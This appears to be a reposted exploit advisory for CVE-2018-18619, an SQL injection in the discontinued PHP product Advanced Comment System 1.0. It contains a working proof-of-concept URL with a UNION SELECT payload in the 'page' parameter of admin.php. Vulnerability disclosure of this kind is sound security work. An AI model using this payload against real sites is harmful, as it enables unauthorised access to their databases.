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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: SQL injection in Advanced comment system v1.0
# Date: 29-10-2018
# Exploit Author: Rafael Pedrero
# Vendor Homepage: http://www.plohni.com
# Software Link:
http://www.plohni.com/wb/content/php/download/Advanced_comment_system_1-0.zip,
https://web.archive.org/web/20120214173003/http://www.plohni.com/wb/content/php/download/Advanced_comment_system_1-0.zip
# Version: Advanced comment system v1.0
# Tested on: All
# CVE : CVE-2018-18619
# Category: webapps


1. Description

PHP page internal/advanced_comment_system/admin.php in Advanced Comment
System 1.0 is prone to an SQL injection vulnerability because it fails to
sufficiently sanitize user-supplied data before using it in an SQL query,
allowing remote attackers to execute the sqli attack via a URL in the
"page" parameter.
The product is discontinued.


2. Proof of Concept

http://x.x.x.x/internal/advanced_comment_system/admin.php?pw=admin&page=/internal/index.php%27%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(0x71717a6b71,0x67424663534f77556d44746a59686f78427354754268636b5466486249616b724d716e4869634758,0x7171626a71),NULL--%20SkrU&del=2

3. Solution:

The product is discontinued.